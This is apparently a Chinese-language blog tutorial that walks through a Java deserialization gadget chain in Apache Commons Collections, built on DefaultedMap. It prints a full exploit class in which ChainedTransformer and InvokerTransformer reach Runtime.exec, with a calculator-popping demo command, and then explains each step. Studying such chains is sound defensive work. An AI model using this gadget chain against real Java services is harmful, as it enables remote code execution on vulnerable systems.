今天我打算整點兒不一樣的內容,通過之前學習的TransformerMap和LazyMap鏈,想搞點不一樣的,所以我關註了另外一條鏈DefaultedMap鏈,主要調用鏈為: 調用鏈詳細描述: ObjectInputStream.readObject() DefaultedMap.readObject ...
今天我打算整點兒不一樣的內容,通過之前學習的TransformerMap
和LazyMap
鏈,想搞點不一樣的,所以我關註了另外一條鏈DefaultedMap
鏈,主要調用鏈為:
調用鏈詳細描述:
ObjectInputStream.readObject()
DefaultedMap.readObject()
DefaultedMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
剛開始的方法和其他CC1鏈的方法是一樣的,這裡不再贅述,其實也就是這三步
主要講一下在DefaultedMap
里是如何進行調用的,首先我們看一下完整的EXP
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class ExploitDemo implements Serializable {
private static final long serialVersionUID = 1L;
public static void main(String[] args) throws Exception {
// 設置Transformer鏈,最終執行命令 'open -a Calculator' 以彈出macOS計算器
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class), // ConstantTransformer.transform() 返回Runtime.class
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), // InvokerTransformer.transform() 調用Class.getMethod() 獲取getRuntime方法對象
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), // InvokerTransformer.transform() 調用Method.invoke() 獲取Runtime實例
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open -a Calculator" }) // InvokerTransformer.transform() 調用Runtime.exec() 執行命令
};
// 使用ChainedTransformer將多個Transformer鏈接在一起
Transformer transformer = new ChainedTransformer(transformers); // ChainedTransformer.transform() 依次調用上面的每個Transformer
// 創建DefaultedMap對象
Map<Object, Object> innerMap = new HashMap<>();
DefaultedMap defaultedMap = new DefaultedMap(transformer); // DefaultedMap.get() 如果key不存在,調用transformer.transform()
// 通過反射將innerMap註入到DefaultedMap中
Field mapField = DefaultedMap.class.getSuperclass().getDeclaredField("map"); // 獲取父類AbstractMapDecorator的map欄位
mapField.setAccessible(true);
mapField.set(defaultedMap, innerMap); // 設置DefaultedMap的map欄位為innerMap
// 通過反射設置value欄位
Field valueField = DefaultedMap.class.getDeclaredField("value"); // 獲取DefaultedMap的value欄位
valueField.setAccessible(true);
valueField.set(defaultedMap, transformer); // 設置DefaultedMap的value欄位為ChainedTransformer實例
// 序列化DefaultedMap對象
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(defaultedMap); // 序列化defaultedMap對象
objectOutputStream.close();
byte[] serializedObject = byteArrayOutputStream.toByteArray(); // 通過ByteArrayOutputStream獲取序列化後的位元組數組
// 反序列化DefaultedMap對象
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serializedObject);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
DefaultedMap deserializedMap = (DefaultedMap) objectInputStream.readObject(); // ObjectInputStream.readObject() 反序列化defaultedMap對象,觸發DefaultedMap.readObject()
objectInputStream.close();
// 調用get方法以觸發命令執行
deserializedMap.get("key"); // DefaultedMap.get() 調用ChainedTransformer.transform(),依次調用各個transformer,最終執行命令
}
}
Transformer[] transformers = new Transformer[]
創建一個數組Transformer[]
new ConstantTransformer(Runtime.class)
1.通過ConstantTransformer 的 transform 方法調用一個對象,返回 Runtime.class,即 java.lang.Runtime 類的 Class 對象。
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
2.通過InvokerTransformer調用 Runtime.class.getMethod("getRuntime", new Class[0]) 獲取名為 getRuntime 的方法對象,getMethod 方法簽名為 Method getMethod(String name, Class<?>... parameterTypes),傳入參數 new Class[] { String.class, Class[].class } 和 new Object[] { "getRuntime", new Class[0] }
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] })
3.通過 InvokerTransformer 調用 Method.invoke(null, new Object[0]) 獲取 Runtime 類的實例,invoke 方法簽名為 Object invoke(Object obj, Object... args),傳入參數 new Class[] { Object.class, Object[].class } 和 new Object[] { null, new Object[0] }。
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open -a Calculator" })
4.通過 InvokerTransformer 調用 Runtime.getRuntime().exec("open -a Calculator") 執行命令,exec 方法簽名為 Process exec(String command),傳入參數 new Class[] { String.class } 和 new Object[] { "open -a Calculator" }。
通過ChainedTransformer
方法,遞歸調用transformers
數組,每一個步驟的輸出被作為下一步的輸入。
然後繼續往下跟
1.首先我們先創建一個Map對象,為什麼後面會講
Map<Object, Object> innerMap = new HashMap<>();
2.傳入transformer數組,因為defaultedMap 中獲取一個不存在的鍵的值時,DefaultedMap 會使用 Transformer 對象的transform 方法來計算預設值,所以會調用我們的惡意數組鏈。
DefaultedMap defaultedMap = new DefaultedMap(transformer);
繼續往下跟
1.DefaultedMap 類繼承自 AbstractMapDecorator,getSuperclass() 方法返回 DefaultedMap 的直接父類AbstractMapDecorator,getDeclaredField("map") 方法返回 AbstractMapDecorator 類中的 map 欄位(一個 Field 對象),反射是因為這個欄位是私有的
Field mapField = DefaultedMap.class.getSuperclass().getDeclaredField("map");
2.setAccessible(true) 方法允許通過反射訪問私有欄位。
mapField.setAccessible(true);
3.mapField.set 方法用於設置 defaultedMap 對象中 map 欄位的值,這裡將 defaultedMap 的 map 欄位設置為 innerMap 對象,即用我們之前創建的 Map 對象替換 defaultedMap 內部的 Map 實現。
mapField.set(defaultedMap, innerMap);
繼續往下跟
1.通過反射訪問並修改了 DefaultedMap 類的 value 欄位,getDeclaredField("value") 獲取 DefaultedMap 類中名為 value 的欄位.
Field valueField = DefaultedMap.class.getDeclaredField("value");
2.setAccessible(true) 使得即使是私有欄位也可以通過反射進行訪問和修改
valueField.setAccessible(true);
3.通過 set 方法將 defaultedMap 對象的 value 欄位設置為 transformer 對象。原因是當 DefaultedMap(Map map, Object value) 中的value獲取一個不存在的鍵時,它將使用這個 transformer 對象來生成預設值。
valueField.set(defaultedMap, transformer);
繼續往下跟
這裡我也不廢話,主要就是序列化數據和反序列化數據,通過ByteArrayOutputStream
,提供了將數據寫入位元組數組的能力,toByteArray()
方法是獲取寫入的
所有數據的副本,作為一個新的位元組數組,然後通過ByteArrayInputStream進行反序列化。
關鍵點需要註意的是以下這段代碼,因為要能夠使命令成功執行,必須要讓DefaultedMap實現序列化介面,這裡我們可以看到確實實現了;所以DefaultedMap實現了Serializable
介面,它可以通過 ObjectInputStream
進行反序列化。在這個過程中,ObjectInputStream
會調用 DefaultedMap
的 readObject
方法,以恢復對象的狀態。
可以看到我們下的斷點位置已經通過反序列化調用了readObjcet
方法
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
//ObjectInputStream 的 defaultReadObject 方法。defaultReadObject 方法負責從輸入流中讀取對象的非靜態和非瞬態欄位的狀態,並將它們恢復到當前對象中,這一步相當於預設的反序列化過程,它會根據序列化時寫入的對象狀態自動恢復這些欄位的值。
map = (Map) in.readObject();
//這一行代碼從輸入流中讀取一個對象,並將其強制轉換為 Map 類型,然後賦值給 map 欄位。這意味著 map 欄位在反序列化過程中需要被顯式地恢復。通過這種方式,可以確保 map 欄位在反序列化後正確地指向原來的 Map 對象。
}
繼續往下跟
獲得命令執行的原因是,通過觸發readObjcet
方法調用DefaultedMap
的get
方法,進行判斷,當調用 get
方法嘗試獲取一個不存在的鍵(如 "key
")時,
DefaultedMap
會使用預設值生成器來生成值。在這裡,預設值生成器是chainedTransformer
,因此會調用 chainedTransformer.transform("key")
,因為獲取到
一個不存在的值,DefaultedMap 會使用其預設值生成器(在這裡是 ChainedTransformer
)來生成預設值。由於 ChainedTransformer
包含了一系列的
Transformer
,這些 Transformer
會依次調用,最終執行惡意命令。
然後我們可以下斷點看下麵的圖
逐行解釋一下命令執行的過程
if (map.containsKey(key) == false)
//檢查 map 中是否包含指定的鍵 key。如果鍵不存在,代碼繼續執行內部邏輯;如果鍵存在,則直接返回鍵對應的值。
if (value instanceof Transformer)
//檢查 DefaultedMap 的預設值 value 是否是 Transformer 類型,如果 value 是一個 Transformer 對象,則調用 Transformer 的 transform 方法來生成值,也就是調用了我們的惡意鏈
return ((Transformer) value).transform(key);
//當 get 方法調用 ((Transformer) value).transform(key) 時,實際上是調用 ChainedTransformer 的 transform 方法。ChainedTransformer 的 transform 方法會依次調用內部每個 Transformer;
ConstantTransformer 返回 Runtime.class;
InvokerTransformer 調用 getMethod("getRuntime", new Class[0]),獲取 Runtime.getRuntime 方法;InvokerTransformer 調用 Runtime.getRuntime() 方法,獲取 Runtime 實例;InvokerTransformer 調;
Runtime.exec("open -a Calculator") 方法,執行命令,打開計算器。
大家可以有機會自己寫一下代碼,調試一下就可以完全明白了,今天就到這裡。Good night~